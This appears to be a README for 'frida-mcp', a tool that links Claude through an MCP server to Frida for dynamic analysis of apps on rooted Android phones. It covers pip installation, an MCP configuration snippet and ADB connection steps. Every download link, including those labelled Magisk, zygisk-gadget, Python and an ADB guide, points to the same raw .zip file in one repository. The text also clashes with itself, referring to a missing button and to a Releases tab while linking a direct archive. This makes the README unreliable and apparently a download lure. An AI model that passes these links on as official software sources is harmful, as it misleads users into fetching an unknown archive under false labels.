frida-mcp helps you analyze Android apps by automating Frida using AI commands. It connects your Android phone to your computer, runs analysis scripts automatically, and gives you results without needing to run commands yourself.

This tool works with rooted Android phones running Magisk and the zygisk-gadget module. It uses a server called MCP (Model Context Protocol) that talks to Frida and controls it to inspect apps dynamically.

Before starting, check the following:

• Windows 10 or later.
• Python 3.10 or higher installed on your PC.
• An Android phone with root access.
• Magisk installed on your Android phone.
• The zygisk-gadget Magisk module installed and set to use port 14725.
• ADB (Android Debug Bridge) installed and able to connect your phone to your PC.

If you don’t have Python or ADB installed, you will need to install them first. Both are free and easy to get.

Click the large button below to visit the GitHub page where you can download frida-mcp and find setup files.

On the GitHub page:

After downloading, follow these steps to install and configure frida-mcp on your PC:

1. Install Python packages

   Open your Command Prompt (search for "cmd" in Windows Start menu).

   Navigate to the folder where you downloaded frida-mcp, or if you have the source code, open Command Prompt there.

   Run this command to install frida-mcp and its dependencies:

   pip install .
   

   This installs the main program and tools you will need.

2. Run Setup

   After installation completes, run this command to perform automatic setup:

   frida-mcp-setup
   

   This command will register frida-mcp with MCP and install necessary “Skills” for it to work smoothly.

3. Manual Configuration (optional)

   If automatic setup fails, you can edit the file ~/.claude.json manually:

   {
     "mcpServers": {
       "frida-agent": {
         "command": "frida-mcp"
       }
     }
   }

   Save the file and retry running frida-mcp.

4. Connect your phone

   Make sure your Android phone is connected via USB with USB debugging enabled.

   Confirm that adb can detect your device by running:

   adb devices
   

   Your device should show up on the list.

frida-mcp uses ADB to talk to the zygisk-gadget module on your phone.

To establish this connection:

• Run the command:

  frida-mcp connect
  

• This will forward ports and allow communication between your PC and phone.

• Check the connection by listing third-party apps on your device:

  frida-mcp list_apps
  

• If your apps show up, the connection works.

Here are the main commands you will use when running frida-mcp:

If you need to download frida-mcp again or get the latest version:

• Visit this page:
  https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip

• Go to the "Releases" tab.

• Download the latest files.

• Replace old files with new ones if you have a manual installation.

Then repeat the installation commands as above to update your setup.

• Your phone must remain connected and unlocked during use.
• If you encounter errors with connection, rerun frida-mcp reconnect or check ADB connection.
• Use frida-mcp logcat to monitor crashes or issues in real time.
• If an app does not respond as expected, try spawn_and_inject to restart and inject fresh.
• Keep Python and ADB updated for best compatibility.

• Magisk Root: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
• zygisk-gadget Module: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
• Python: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
• ADB Setup Guide: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip

The flow looks like this:

AI (Claude) → MCP Server → Frida CLI → zygisk-gadget (phone) → Results returned

This means AI sends commands to MCP, which controls Frida. Frida works with the gadget installed on the phone to analyze apps and send data back to you.